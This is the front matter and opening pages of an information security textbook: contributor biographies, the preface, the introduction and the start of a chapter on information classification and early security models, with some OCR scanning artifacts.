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About the Author

Mark Rhodes-Ousley is experienced with every aspect of security, from program management
to technology. That experience includes risk management, security policies, security
management, technology implementation and operations, physical security, disaster recovery,
and business continuity planning. A resident of Silicon Valley, he has been fortunate to live
through the early years, boom times, and mainstreaming of computers and the Internet,
practicing information security even before Windows existed. Mark holds a CISSP certification
from the International Information Systems Security Certification Consortium (ISC)?, a CISM
certification from the Information Systems Audit and Control Association (ISACA), and
certifications from ITIL, Microsoft (MCSE: Security 2003), Cisco, Security Dynamics, Raptor
Systems, Hewlett-Packard, and Digital Equipment Corporation, along with a bachelor’s degree
in applied mathematics and electrical engineering from the University of California, San Diego
(UCSD).

Specializing in information security since 1994 when he built the first Internet firewall for
Santa Clara County, California, Mark has built quality-focused security programs, processes,
and technologies at Robert Half International (RHI), Merrill-Lynch, National City Bank,
Fremont Bank, Sun Microsystems, PG&E, Clorox, The Gap, Aspect Communications, Hitachi
Data Systems (HDS), SunPower, and the original Napster. He holds two core beliefs: that
business processes are just as important as technology because security relies on people; and
that security should be a business enabler, with a goal of enhancing the customer experience.
Believing that maturity of a security program should be improved one step at a time,
measured on a five-point maturity scale, with targets agreed upon by business stakeholders,
Mark is also a proponent of “management by measurement”—performance measured with
metrics (raw data) to manage down and key performance indicators (KPI dashboards) to
manage up. His experience has shown that building bridges and fostering cross-departmental
collaboration, along with executive sponsorship and engagement, enhances the success of the
security program.

Mark can be reached at mro@engineer.com or www.facebook.com/pages/Information-
Security-The-Complete-Reference-2nd-Ed on Facebook.

About the Contributors and Technical Reviewers

Andrew Abbate, contributor, enjoys the position of principal consultant and partner at
Convergent Computing. With nearly 20 years of experience in I'T, Andrew’s area of expertise
is understanding a business’s needs and translating that to processes and technologies to solve
real problems. Having worked with companies from the Fortune 10 to companies of ten
employees, Andrew has a unique perspective on IT and a grasp on “big picture” consulting.
Andrew has also written nine industry books on varying technologies ranging from Windows
to security to unified communications and has contributed to several others. Andrew can be
reached via e-mail at andrew@abbate.org.

After being battered about for 20 years in the construction industry, Barrington Allen,
technical reviewer, packed up his transferable skills and began a career in information
technology 16 years ago. Working in a Fortune 100 company has provided Barrington the
opportunity to work on interesting and complex enterprise systems, while also providing
the continual learning support which is essential to any IT career. Barrington is often seen
walking his border collies, or seeking to ride on a velodrome near you.

www.it-ebooks.info


mailto:mro@engineer.com
http://www.facebook.com/pages/Information-Security-The-Complete-Reference-2nd-Ed
http://www.facebook.com/pages/Information-Security-The-Complete-Reference-2nd-Ed
mailto:andrew@abbate.org
http://www.it-ebooks.info/

Brian Baker, contributor, has been an IT professional for nearly three decades. Brian has
supported environments consisting of large, multi-mainframe data centers, international
corporations, and smaller, single-site e-commerce infrastructures. He has worked for EDS,
ACS, Merrill Lynch, Ross Dress for Less, and others over the course of his career. His roles
have included systems, network, messaging, and security, and for the past ten years he has
been supporting and managing storage infrastructures. Brian initially began his storage career
while he worked as part of a small team to select and design a SAN implementation. From
there he managed the backup and storage infrastructure for a division of Merrill Lynch. As his
experience grew, Brian accepted a position with a large hosting provider, joining a small
team that managed over 3 petabytes of storage consisting of various SAN array vendors and
SAN fabrics within 16 data centers. Brian is an EMC Storage Specialist (EMCSA) and holds a
bachelor’s degree in information technology from National University. He may be contacted
at bmbaker@gmail.com.

As a security researcher at McAfee, contributor Zheng Bu’s every day work is on host and
network security. He likes to innovate and address security problems. His recent research
includes application and mobile. He is a runner, badminton player, and photographer. Feel
free to contact him at zheng.bu.sec@gmail.com.

Brian Buege, contributor, is the Director of Engineering at Spirent Communications.
He has more than ten years of software development experience and has been developing
large-scale, enterprise Java applications since 1998. He lives in McKinney, Texas, with his
wife and son.

Anil Desai (MCSE, MCSA, MCSD, MCDBA), contributor, is an independent consultant
based in Austin, Texas. He specializes in evaluating, developing, implementing, and managing
solutions based on Microsoft technologies. He has worked extensively with Microsoft’s server
products and the .NET platform. Anil is the author of several other technical books, including
MCSE/MCSA Managing and Maintaining a Windows Server 2003 Environment Study Guide Exam
70-290 (McGraw-Hill/Osborne, 2003), Windows 2000 Directory Services Administration Study
Guide (McGraw-Hill/Osborne, 2001), Windows NT Network Management: Reducing Total Cost of
Ownership (New Riders, 1999), and SQL Server 2000 Backup and Recovery (McGraw-Hill/
Osborne, 2001). He has made dozens of conference presentations at national events and is
also a contributor to magazines. When he’s not busy doing techie-type things, Anil enjoys
cycling in and around Austin, playing electric guitar and drums, and playing video games. For
more information, you can contact him at anil@austin.rr.com.

Leo Dregier, contributor, got his start in networking when he took the MCSE 4.0
Microsoft track. After a few short months, he was recognized as a very knowledgeable subject
matter expert, so much so that the corporate school he attended offered him a job to teach
other aspiring Microsoft engineers. Leo has the ability to learn very quickly and is highly
adaptable, analytical, and an overachiever (as demonstrated by having expertise in over 40 of
the popular computer certifications, including CISSP, ISSEP, CISM, CISA, CRISC, PMP, CEH,
CHFI, and several others). Leo has been a principal at the computer security firm The
Security Matrix, LLC, since 1995. He has provided consulting services to many U.S. federal
clients, including the Department of State, the Department of Labor, the Internal Revenue
Service, and the Centers for Medicaid and Medicare Services. Additionally, Leo has helped
thousands of IT professionals achieve their certifications online at TheCodeOfLearning.com
and maintains an evaluation level above 90+%. When Leo is not working as a consultant or in
the classroom, you can find him working on his other personal projects. TheProfitCycle.com
is geared toward people who need help learning how to adapt to technology and want to
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make money using technology as a solution. Leo has also created FindRealEstateHelp.com,
which is a real estate problem-solving and investment company. In his spare time, he sleeps
and spends time with his beautiful wife. Leo can be contacted for consulting, public
speaking, TV appearances, and more at www.leodregier.com.

Dr. Nick Efford, contributor, is a senior teaching fellow in the School of Computing at
the University of Leeds in the United Kingdom, where he currently teaches object-oriented
software engineering, distributed systems, and computer security. His previous published
work includes a book on digital image processing using Java.

Aaron Estes, technical reviewer, has over twelve years of experience in software
development and security engineering. His expertise includes secure coding and code
review, penetration-testing, security architecture review, and network security. Aaron has
had key security engineering roles on several of Lockheed Martin’s largest contracts. In
addition to Lockheed Martin, Aaron has worked with a number of Fortune 500 companies
as a security consultant. He has over four years of teaching experience at Southern Methodist
University at the undergraduate and graduate level, and expects to complete his doctorate
degree this year in Software Engineering with a focus on security software at Southern
Methodist University in Dallas.

Thaddeus Fortenberry (MCSE, MCT), contributor, is a senior member technical staff
and the remote access architect for employee access at HP. For the past year, he has been
working on the consolidation of the remote access solutions for the merged Compaq and
HP environments. Thaddeus specializes in complete security plans for remote deployments
that address real-world issues and protection.

Christian Genetski, contributor, is a Senior Vice President and General Counsel at the
Entertainment Software Association. Christian is a former prosecutor in the Department
of Justice Computer Crime Section, where he coordinated the investigations of several
prominent computer crime cases, including the widely publicized denial of service attacks that
hit e-commerce sites eBay, Amazon.com, and others in February 2000. In private practice, he
counsels clients on compliance with information security regulations, conducts investigations
into computer security breaches or other hostile network activity, and represents clients in civil
litigation or criminal referrals arising from network incidents. Christian graduated from the
Vanderbilt University School of Law, Order of the Coif. He regularly lectures to a wide variety
of audiences on computer crime and information security issues, and he serves as an adjunct
professor at the Georgetown University Law Center. Christian would like to thank David
Tonisson for his thoughtful contributions to Chapter 3 on legal issues.

Christine Grayban, technical reviewer, is the Enterprise Security practice lead for Stach &
Liu, where she oversees all projects related to information security compliance and
controls, risk management, governance, and security strategy. She has helped several
organizations reach compliance with PCI DSS, HIPAA, ISO 27001/2, and other information
security frameworks. Prior to joining Stach & Liu, Christie spent several years in the security
consulting practices at Accenture and Ernst & Young for clients in the Global 500, with
verticals including financial services, telecommunications, health care, and resources. She is
currently based in New York City and has worked and lived internationally in San Francisco,
London, and Mumbai.

Roger A. Grimes (CPA, MCSE NT /2000, CNE 3/4, A+), contributor, is the author of
Malicious Mobile Code: Virus Protection for Windows (O’Reilly, 2001), Honeypots for Windows
(Apress, 2004), and Professional Windows Desktop and Server Hardening (Wrox, 2006) and
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has been fighting malware since 1987. He has consulted for some of the world’s largest
companies, universities, and the U.S. Navy. Roger has written dozens of articles for
national computer magazines, such as Windows & .NET Magazine, Microsoft Certified
Professional Magazine, and Network Magazine, and Newsweek covered his work fighting
computer viruses. You can contact him at rogerg@cox.net.

Gregory Hoban, technical reviewer, is a Senior Systems Engineer currently in Emeryville,
California. He has over 17 years of experience dealing with a wide range of servers and
storage, specializing in systems and database installation and configuration. Gregory has
deployed highly available Oracle and SQL server databases on a number of SANs. He has
been responsible for implementing security restrictions and business I'T process controls at
both FDA- and SOX-compliant facilities. Gregory holds an NCDA certification for NetApp
and an Advanced CXE certification for Xiotech.

Michael Howard, contributor, is a Principal CyberSecurity Architect at Microsoft Corp.,
a founding member of the Secure Windows Initiative group at Microsoft, and a coauthor of
Writing Secure Code (Microsoft Press, 2001). He focuses on the short- and long-term goals of
designing, building, testing, and deploying applications to withstand attack and yet to still
be usable by millions of nontechnical users.

Ayush Jain, technical reviewer, is a Senior IT Infrastructure Manager in Emeryville,
California. Ayush’s professional experiences cover all facets of information security, including,
but not limited to, designing and deploying secure infrastructures, BYOD, VDI, implementing
intrusion detection and data leak prevention systems, and developing policies and procedures
for IT Governance. He holds a bachelor’s degree in information technology from Rochester
Institute of Technology (R.I.T.) and Advanced CXE certification for Xiotech.

Michael Judd (a.k.a. Judd), contributor, is a Senior Application Engineer at FTEN
(a NASDAQ OMX company). He has taught and developed technical courseware on
subjects ranging from Java syntax, object-oriented analysis and design, patterns, and
distributed programming, to Java security and J2EE. He lives in Denver, Colorado.

Dr. Bryan Kissinger, contributor, is a seasoned security professional with over 18 years of
experience advising government and various private sector organizations on enhancing their
security posture. He is currently responsible for assessing risk, recommending infrastructure
enhancements, and managing compliance for a major healthcare provider. Bryan was previously
a Director in PricewaterhouseCoopers’ Security practice with leadership responsibilities in the
Pacific Northwest and Bay Area markets. He is considered a healthcare and technology sector
specialist and is a published author and frequent public speaker on the topics of security and
information technology strategy.

Thomas Knox, contributor, has done Unix administration for more years than he wants
to admit. He is currently a Streaming Media Engineer at Comcast and previously worked as
a network and system engineer for National Geographic and Amazon.com. His thanks go to
his wife Gisela for all her love and support.

Brenda Larcom, technical reviewer, is a Senior Security Consultant throughout the
United States and occasionally beyond. She has over 17 years of experience securing software
and the odd bit of hardware throughout the development and deployment lifecycle,
particularly for Agile organizations. Brenda cofounded an open source threat modeling
methodology that analyzes security requirements as well as architecture. Brenda holds a
bachelor’s degree in computer science from the University of Washington. She may be
contacted at blarcom@stachliu.com.
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Eric Milam, contributor, is a Principal Security Assessor with over 14 years of experience in
information technology. Eric has performed innumerable consultative engagements, including
enterprise security and risk assessments, perimeter penetration testing, vulnerability
assessments, social engineering, physical security testing, and wireless assessments, and has
extensive experience in PCI compliance controls and assessments. Eric is a project steward
for the Ettercap project as well as creator and developer of the easy-creds and smbexec
open source software projects. He can be reached at emilam@accuvant.com and jbrav
.hax@gmail.com.

Michael T. Raggo (CISSP, NSA-IAM, CCSI, ACE, CSI), contributor, applies over 20 years
of security technology experience and evangelism to the technical delivery of security
research and solutions. Michael’s technology experience includes penetration testing,
wireless security assessments, compliance assessments, firewall and IDS/IPS deployments,
mobile device security, incident response and forensics, and security research, and he is also
a former security trainer. As a Product Manager at AirDefense, he co-designed a new and
innovative product (Wireless Vulnerability Assessment; U.S. patent #7,577,424), a wireless
“hacker-in-a-box” add-on module for AirDefense’s Wireless IPS solution. In addition, Michael
conducts ongoing independent research on various wireless and mobile hacking techniques,
as well as data hiding. He has presented on various security topics at numerous conferences
around the world (including BlackHat, DefCon, SANS, DoD Cyber Crime, OWASP, InfoSec,
etc.) and has even briefed the Pentagon. You can find out more on his security research
website at www.spyhunter.org.

Eric Reither, technical reviewer, is the Vice President and a Senior Security Consultant
at Security by Design Inc. Since 2001, he has been involved with numerous projects, and
his project management skills have proven invaluable for keeping projects on time and on
budget. Eric’s project involvement also extends to engineering, drafting, and database
management. This deep level of project involvement combined with Eric’s experience
helps to guarantee client expectations are exceeded on a regular basis. Eric also has over
ten years of experience in the fire suppression and facilities communication systems
industries. During that period, his responsibilities included systems installation, all facets of
project management, systems engineering and design, and training program development.
He can be reached at eric_reither@sbd.us.

Ben Rothke (CISSP), technical reviewer, is a Corporate Services Information Security
Manager at Wyndham Worldwide, and he has more than 15 years of industry experience in
the area of information systems security. His areas of expertise are in PKI, HIPAA, 21 CFR
Part 11, design and implementation of systems security, encryption, firewall configuration
and review, cryptography, and security policy development. Prior to joining ThruPoint, Inc.,
Ben was with Baltimore Technologies, Ernst & Young, and Citicorp, and he has provided
security solutions to many Fortune 500 companies. Ben is also the lead mentor in the
ThruPoint CISSP preparation program, preparing security professionals to take the rigorous
CISSP examination. Ben has written numerous articles for such computer periodicals as the
Journal of Information Systems Security, PC Week, Network World, Information Security, SC, Windows
NT Magazine, InfoWorld, and the Computer Security Journal. Ben writes for Unix Review and
Security Management and is a former columnist for Information Security and Solutions Integrator
magazine; he is also a frequent speaker at industry conferences. Ben is a Certified
Information Systems Security Professional (CISSP) and Certified Confidentiality Officer
(CCO), and a member of HTCIA, ISSA, ICSA, IEEE, ASIS, and CSI. While not busy making
corporate America a more secure place, Ben enjoys spending time with his family.
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Zeke (Ezekiel) Rutman-Allen, technical reviewer and contributor, is first and foremost
a fanatical technologist. Zeke carries an active interest in all disciplines of technology
application, from tradecrafts to supercomputing, with expertise in many different areas
of telecommunications, networking, and data centers. Originally a network engineer, he
has held a variety of technical and management positions in enterprise and government
organizations in network engineering, data center, and voice/VoIP architecture, design,
and operation. Currently, Zeke holds the position of Senior Manager, Global Network
Services for a multibillion dollar green energy company. His responsibilities include
several key technology stacks, including data center spec/design/operation, LAN/WAN,
global voice and VoIP platforms, and all remote access. These duties have allowed Zeke to
satiate his hunger for knowledge while maintaining a wide variety of expertise across a
multitude of disciplines. Zeke can be reached at zekera@gmail.com.

Stephen Singam, technical reviewer, has extensive experience in information security
architecture and management, stakeholder management, strategic planning, and security
project management and delivery. He is currently a CTO at Hewlett-Packard, and has
held security leadership positions at Commonwealth Bank of Australia (Sydney), 20th
Century Fox/News Corporation (Los Angeles), Salesforce.com (San Francisco), IBM
(New York), and Nokia (Helsinki). His accomplishments include developing a Cyber
Security Operation Center (SOC) encompassing the provisioning of security monitoring
via IDaa$, threat and vulnerability intelligence using Big Data technologies and managed
security infrastructure, and creating a cloud security reference architecture for a large
telecommunication SaaS market offering. At 20th Century Fox, Stephen developed
Intellectual Property Security Architecture, Standards, and Policies that cover all release
platforms from Script Development to Home Entertainment worldwide. This was
accomplished with a focus on the most successful movie of all time—James Cameron’s
Avatar. As a result, Fox became the first Media & Entertainment firm to successfully attain
a zero pre-release IP leak of major DVD releases in Russia. Stephen has an MS in
management of technology from the University of Pennsylvania, a joint program of
Wharton Business School and the School of Applied Science & Engineering. He is a
Moore Fellow in Management of Technology at University of Pennsylvania. He also has
an MS in international management from University of Reading (United Kingdom).
Stephen has been an Invited Panelist at: Tech ROI; New York Times Business-Innovation;
and Silicon Valley’s ISACA Annual Meeting and United Kingdom’s Knowledge Transfer
Network. In 2011, he was invited by the Chinese government in Chongqing to advise on
non-monitored cloud services for MNCs such as Microsoft, JP Morgan and IBM Corp. He
can be reached at stephen@ssingam.com.

Keith Strassberg (CPA, CISSP), technical reviewer, contributor, and first edition
coauthor, is now CEO/CTO of Universal Survey, one of the world’s largest independent
market research data collection companies. Keith oversees Universal’s operations and
pushes the company to be a highly competitive and efficient partner. Universal’s clients
benefit from Keith’s insight and extensive technical abilities, and he is known for
developing and executing solutions in dynamic and fast-moving technology environments.
Keith has been in the information security field for over 15 years and has worked at firms
such as The Guardian Life Insurance Company of America and Arthur Andersen. Keith
holds a BS in accounting from Binghamton University, and he can be reached at
kstrassberg@yahoo.com.

www.it-ebooks.info


mailto:zekera@gmail.com
mailto:stephen@ssingam.com
mailto:kstrassberg@yahoo.com
http://www.Salesforce.com
http://www.it-ebooks.info/

Simon Thorpe, contributor, has been working with information security technologies
since 1999. He was the first employee of SealedMedia after the founder received the first
round of funding. He was involved in the development, support, QA, sales, consulting,
product management, and marketing of the SealedMedia product. In 2006, when the
technology was acquired by Oracle, Simon continued his involvement by working on IRM
solutions with companies around the globe as well as deploying the technology internally,
protecting Oracle’s most valuable information. Simon has written for the Oracle IRM
blog, Oracle Profit Magazine, and other online publications, and has extensive knowledge
of many of the unstructured data security solutions in the market today. Simon then
moved from Oracle to Microsoft, where he continues to apply his IRM knowledge with
the Microsoft AD RMS technology. Simon is often looking for feedback on how people
implement document and file security technologies, so feel free to contact him at
simon@securitypedant.com.

Dr. Andrew A. Vladimirov (CISSP, CCNP, CCDP, CWNA, TIA Linux+), contributor,
currently holds the position of Chief Security Manager for Arhont Information Security
Ltd. (www.arhont.com), a fast-growing information security company based in Bristol, UK.
Andrew is a graduate of King’s College London and University of Bristol. He is a researcher
with wide interests, ranging from cryptography and network security to bioinformatics
and neuroscience. He published his first scientific paper at the age of 13 and dates his
computing experience back to the release of Z80. Andrew was one of the cofounders of
Arhont, which was established in 2000 as a pro-open-source information security company
with attitude. Over the years, Andrew has participated in Arhont’s contributions to the
security community via publications at BugTraq and other security-related public e-mail
lists, network security articles for various I'T magazines, and statistical research. Andrew’s
wireless networking and security background predates the emergence of the 802.11
standard and includes hands-on experience designing, installing, configuring, penetrating,
securing, and troubleshooting wireless LANSs, Bluetooth PANs, and infrared links implemented
using a wide variety of operating systems and hardware architectures. Andrew was one of
the first UK IT professionals to obtain the CWNA certification, and he is currently in
charge of the wireless consultancy service provided by Arhont. He participates in wireless
security equipment beta testing for major wireless hardware and firmware vendors, such as
Proxim, Belkin, and Netgear..

Barak Weichselbaum, contributor and technical reviewer, is a network and security
consultant who started his career in the Israeli Defense Forces and served in the intelligence
corps. He spearheaded the development of numerous network security products and
solutions, including B2B, P2P, IPS, and IDS, from the ground up to the deployment and
integration stage. He is the founder and CEO of B.W. Komodia Ltd. You can contact him at
www.komodia.com.

Marcia Wilson, contributor, is an information technology veteran who has focused on
information security for the last decade. She holds the CISSP and CISM designations. She
received her master’s degree from the University of San Francisco and is finishing up her
doctoral studies in information assurance at Capella University. Marcia has worked in a
number of capacities in information security, including managing and directing security
teams in a global environment, as an individual contributor, and as a consultant for small,
medium, and large organizations. She is experienced in healthcare, financial, and high
tech organizations in both the private and public sectors. Marcia’s passion is protecting the
privacy of individual personal and healthcare information.
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For those who toil in the thankless and invisible labor of defending
infrastructure against thieves, vandals, and fools who cause damage for
fun and profit. Stay true.

—MRO
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Preface

ear Reader,
You hold in your hands a vast and thorough repository of knowledge and

experience. Information security is an incredibly complicated and ever-changing
subject, and this book tackles the entire subject. The original concept for this book was to
provide a security blueprint or cookbook—a comprehensive guide for building a complete,
effective security program. This second edition stays true to that idea. The book was
written for people who, like myself once upon a time, find themselves in a position of
having to secure an organization’s network, and start to realize there’s more to security
than a firewall. The technologies are important, and they are complex and varied. But the
nontechnical aspects of security are equally if not more important. Bruce Schneier
famously said “Security is a process, not a product,” and I completely agree. I'd say the same
thing about any business process. Technology can help an organization enforce its
business goals and policies, but it is not, in and of itself, a magic solution to all problems.
That’s why this book covers both technology and practice.

I envisioned the first edition of this book a decade ago and participated in writing it
because I wanted to share with other IT professionals what I had learned in my first ten
years in the field of information security, and the philosophies I developed along the way.
After 20 years of practice, I've found that those lessons and philosophies still hold true: an
organization needs security policies, a technology strategy that’s based on risk assessment,
and the right technologies to plug all the holes inherent in the network. But it doesn’t end
there—as a security professional, you need to change and manage the behaviors of the
people who handle data. When you begin to contemplate that, you soon realize that what
you’re really protecting are information assets—which may be electronic, or may take other
forms such as paper and voice. A comprehensive approach is the only way to be successful.
You have to look at the complete picture in order to really be effective. How do you get
your arms around all that? Breaking it down into individual topics, and ensuring that every
aspect is covered, from philosophy to strategy to technology to behaviors, is the approach
I've taken. Everything is manageable when you carve it into bite-sized chunks that can be
dealt with one at a time. This book covers everything you need to know in order to build a
comprehensive, effective security program.

XxXiii
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The first edition was written at the beginning of the millennium—when the Internet was
transitioning from a business resource to a business necessity—to provide a comprehensive
resource for IT administrators (which was not available anywhere else) by offering guidance
on how to create, deploy, and monitor a security solution on a budget. This second edition
remains true to that vision, with every aspect of information security represented and
updated. This book was, and remains, the only cradle-to-grave network security reference
that brings security strategies and tactics together in one resource. The holistic approach to
security theory, combined with logical, concise, hands-on information, arms IT professionals
with the knowledge they need to secure their infrastructure.

I hope this book provides you with valuable insight, perspective, and knowledge. I believe
we are at our best when we share what we know.

Regards,
Mark Rhodes-Ousley
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Introduction

‘ \ rhether you are a security professional, an IT professional who wants to learn
more about security, someone who has been thrust into a security role without
preparation, an executive who wants to increase your organization’s knowledge
assets, a member of a sales force in a company that sells security products or services, or a
technology, law, or business student or professor in a college or university, this book was
written for you.

Students and professionals alike need a comprehensive guide to all aspects of security, and
this second edition fulfills corporate and academic needs with updated material. Colleges now
offer dedicated information security programs, yet they don’t have access to a comprehensive
security textbook. Organized with academic institutions in mind, this book is an important
resource for the security professionals of the future, and it is still the only comprehensive book
on security. This book takes a vendor-neutral approach in order to improve the lifespan and
applicability of the material without “favoritism” to particular products.

A typical reader of this book would be a networking or technology professional put in
charge of deploying and managing network security within their company. Due to cuts in
IT budgets, many IT professionals are being tasked with assessing and deploying network
security solutions for their company. Millions of IT professionals in small, midsize, and
large companies are finding themselves in charge of network security but are ill-equipped
to handle these responsibilities. Many of these IT professionals do not possess enough
training to successfully secure their networks from both internal and external attacks. This
book contains everything they need to know about information security.

What This Book Covers

This book covers all aspects of information security, from concept to details. It includes
methodology, analysis, and technical details to fit the reader’s needs. Equally applicable to
the beginner and the seasoned professional, this book provides a one-stop reference that
replaces and obsoletes other books.

The practice of information security has grown in depth and breadth since the first
edition. New standards and regulations have appeared, as have new technologies. Most
security practitioners find themselves in the position of needing to comply with these new
standards and regulations and secure new technologies. This book covers information
security standards, including COBIT, ISO 27000, and NIST, regulations such as Gramm-
Leach-Bliley (GLBA), Sarbanes-Oxley (SOX), HIPAA, NERC CIP, and PCI DSS, and a
variety of state, federal, and international laws. Organizing around these standards and
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regulations improves this book’s practicality and usefulness as a professional reference. In

addition, many organizations use I'T Infrastructure Library (ITIL) practices to improve the
quality of their processes, and this book shows how ITIL can be integrated with security to

produce successful results.

How to Use This Book

Start with Chapter 1 to understand the philosophy and methodology that inform the core
principles and practices of a successful and effective security program, and then skim the
rest of Part I to learn more about the subjects that are important to you. Then, jump to the
chapters that are particularly relevant to your situation for a deeper dive. This book is meant
to be a desk reference that you can pick up at any time to find the guidance you need.

For instructors, the publisher has created Instructor Teaching Materials, which you can
download from this book’s McGraw-Hill web page at www.mhprofessional.com/InfoSecurity2e.

How This Book Is Organized

The seven parts of this book are organized into conceptually related subject groups,
beginning with the most basic, comprehensive material that every security practitioner
should know, and proceeding through the layers of infrastructure that are found in I'T—
data, network, computers, applications, people, and facilities—with techniques to secure
the components found in each layer.

Part I: Foundations starts with the fundamentals of security. I encourage you to read at
least the first four chapters, regardless of which particular subjects interest you. To see the
whole picture, you need to understand the rationale and philosophy behind the best
practices. The overview given in Chapter 1 expresses the importance of security and the best
way to go about it. Risk analysis follows in Chapter 2, because it should be the first step before
you do anything else. The discussion of compliance with standards, regulations, and laws in
Chapter 3 provides guidance to those who need to avoid legal risk. Chapter 4 offers secure
design principles, which describe how to plan for security. Security policies (Chapter 5) form
the core set of requirements needed for a security program. Chapter 6 provides insights into
how to staff, resource, and support the security function. Authentication and authorization
(Chapter 7) form the basis for restricting access based on need.

Part II: Data Security provides guidance on protecting the most valuable assets on
the network: data. Chapter 8 describes techniques to protect data on its own outside of a
structured environment. Information rights management, covered in Chapter 9, gives a
new option for protecting data in the wild. Encryption (Chapter 10) is the tried-and-true
approach to protecting the confidentiality of data, and storage security (Chapter 11)
and database security (Chapter 12) provide best practices for protecting data within
their borders.
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Part III: Network Security (Chapters 13-19) covers the security of the network
infrastructure itself, including secure network design, network device security, firewalls,
virtual private networks, wireless networks, intrusion detection and prevention, and voice
security.

Part IV: Computer Security (Chapters 20-25) dives into operating system security
models, Unix security, Windows security, securing infrastructure services, virtual machines
and cloud computing, and securing mobile devices.

Part V: Application Security (Chapters 26-30) takes on secure application design,
writing secure software, J2EE security, Windows .NET security, and controlling application
behavior.

Part VI: Security Operations (Chapters 31-33) addresses security operations
management, disaster recovery, business continuity, backups, high availability, incident
response, and forensic analysis.

Part VII: Physical Security (Chapter 34) describes how to protect the premises in which
computers and people reside.

The end of the book includes a comprehensive security glossary, for easy lookup of any
acronym or term you may be unfamiliar with.
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CHAPTER

Information
Security Overview

There are a few key questions that you need to ask before embarking on any security
endeavor. What are you trying to protect? Why are you trying to protect it? How will you
protect it? This chapter helps you to address those questions by covering some background
information and axioms, ideologies, reasoning, values, and viewpoints you should keep in
mind whenever you are considering security tools and techniques. The following sections
explain why information is important, the historical context of information protection,
methodologies that are used to maximize the effectiveness of security implementations, and
how to define and describe the value of the security investment. By keeping these concepts
in mind when you refer to this book and when you put this book’s practices into operation,
you will enhance your success and be able to defend your decisions and choices.

NOTE Words in italics are specialized terms that are defined at the end of this book, in the Security
Dictionary. Check the Dictionary for clarification on what these italicized terms mean.

The Importance of Information Protection

Information is an important asset. The more information you have at your command, the
better you can adapt to the world around you. In business, information is often one of the
most important assets a company possesses. Information differentiates companies and
provides leverage that helps one company become more successful than another.

Information can be classified into different categories, as described in Chapter 5. This is
typically done in order to control access to the information in different ways, depending on
its importance, its sensitivity, and its vulnerability to theft or misuse. Organizations typically
choose to deploy more resources to control information that has higher sensitivity. The U.S.
government, for example, uses a five-level classification system that progresses from
Unclassified information (which everyone can see) to Top Secret information (to which only
the most trusted people have access).
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Organizations classify information in different ways in order to differently manage
aspects of its handling, such as labeling (whether headers, footers, and watermarks specify
how it should be handled), distribution (who gets to see it), duplication (how copies are
made and handled), release (how it is provided to outsiders), storage (where it is kept),
encryption (if required), disposal (whether it is shredded or strongly wiped), and methods
of transmission (such as e-mail, fax, print, and mail). The specifics are spelled out in an
organization’s information classification and handling policy, which represents a very
important component of an organization’s overall security policy.

Information intended for internal use only is usually meant to be seen by employees,
contractors, and service providers, but not by the general public. Examples include internal
memos, correspondence, general e-mail and instant message discussions, company
announcements, meeting requests, and general presentation materials. This type of
information is typically the least restricted—because spending a lot of time and money on
protecting it doesn’t outweigh the value of the information or the risk of its disclosure.

Companies may have confidential information, such as research and development plans,
manufacturing processes, strategic corporate information, product roadmaps, process
descriptions, customer lists and contact information, financial forecasts, and earnings
announcements, that is intended for internal use on a need-to-know basis. Loss or theft of
confidential information could violate the privacy of individuals, reduce the company’s
competitive advantage, or cause damage to the company. This type of information is
available to external audiences only for business-related purposes and only after entering
a nondisclosure agreement (NDA) or equivalent obligation of confidentiality.

Specialized information or secret information may include trade secrets, such as formulas,
production details, and other intellectual property, proprietary methodologies and practices
that describe how services are provided, research plans, electronic codes, passwords, and
encryption keys. If disclosed, this type of information may severely damage the company’s
competitive advantage. It is usually restricted to only a few people or departments within a
company and is rarely disclosed outside the company.

Egg on Their Faces: A Case Study
Egghead Software was a well-known software retailer who discovered in 2000 that
Internet attackers might have stolen as many as 3.7 million credit card numbers from
its web site, housed offsite at an e-commerce service provider that lacked good security.

This information quickly made the news, and as a result, Egghead’s corporate
identity was more than just tarnished—it was destroyed. Customers fled in droves.
The media coverage ruined the company’s reputation. Egghead’s stock price
dropped dramatically, along with its sales. Cost-cutting measures, including layoffs,
followed. The chain reaction finally concluded with Egghead’s bankruptcy and
subsequent acquisition by Amazon.com.

Were the consequences of inattention to security too extreme? You be the judge.
But could those consequences have been avoided with good security practices?
Absolutely.
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In some business sectors, the protection of information is not just desirable, it’s
mandatory. For example, health care organizations are heavily regulated and must comply
with the security requirements of the Health Insurance Portability and Accountability Act of
1996 (HIPAA). They are required by HIPAA to ensure robust security over protected health
information (PHI) that consists of medical data and personally identifiable information (PII).
Financial institutions are also required by regulations to protect customer information, PII,
and financial records. These regulations include security rules defined by the Federal
Financial Institutions Examination Council (FFIEC), and the Gramm-Leach-Bliley Act
(GLBA), also known as the Financial Services Modernization Act of 1999. Regulations such as
the Sarbanes-Oxley Act of 2002 (also known as SOX or Sarbox) also apply to many companies
that are publicly traded, to protect shareholders against the dissemination of false financial
information. Other legal regulations include SB 1386 and SB 24, which are California laws
requiring companies to protect personal information. All of these regulations carry penalties,
some of which are strong, for failure to properly protect information. (Chapter 3 covers these
and other regulatory requirements in more detail.) The proliferation of information security
regulations around the world is an indicator of the importance of protecting data.

The better your security controls are that protect all these different types of data, the
greater the level of access that you can safely provide to authorized parties who need to use
that data. Likewise, third parties can give you more access to their data if it’s secure. The
higher the mutual trust, the more access you can safely provide to external parties such as your
customers, suppliers, business partners, vendors, consultants, employees, and contractors. In
this global and increasingly digital age, the ability to provide this secure and trusted access is
no longer a differentiator, but a business necessity.

The Evolution of Information Security

In the early days of networking, individual computers were connected together only in
academic and government environments. Thus, at that time, the networking technologies
that were developed were specific to academic and government environments. Originally,
the academic security model was “wide open” and the government security model was
“closed and locked.” There wasn’t much in between. The government was mainly
concerned with blocking access to computers, restricting internal access to confidential
data, and preventing interception of data (for example, by shielding equipment to prevent
electromagnetic radiation from being intercepted). This method of protecting assets
provided a hard-to-penetrate perimeter, as depicted in Figure 1-1.

No access

S ss== 00

Laptops Computers Printers Servers

from outside
Protected internal resources

Figure 1-1 Original government perimeter blockade model
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from outside Laptops Computers Printer Servers

Unprotected internal resources

Figure 1-2 Original academic open-access model

In the academic world, the goal was to share information openly, so security controls
were limited to accounting functions in order to charge money for the use of computer
time. Figure 1-2 shows the original security model for academic institutions. Compare this
model with the government model shown in Figure 1-1. Note that these two models are
diametrically opposite—the government model blocks everything, while the academic
model allows everything. There is plenty of room in between these two extremes.

In the field of computer security, the practices established by the academic and government
institutions persisted until the early 1990s, and some of those practices are still around today.
Those practices that have endured continue to have their place in a comprehensive security
strategy, but they are no longer sufficient to meet the needs of the modern computer network.

Dangers of the Academic Open-Access Model: A Case Study
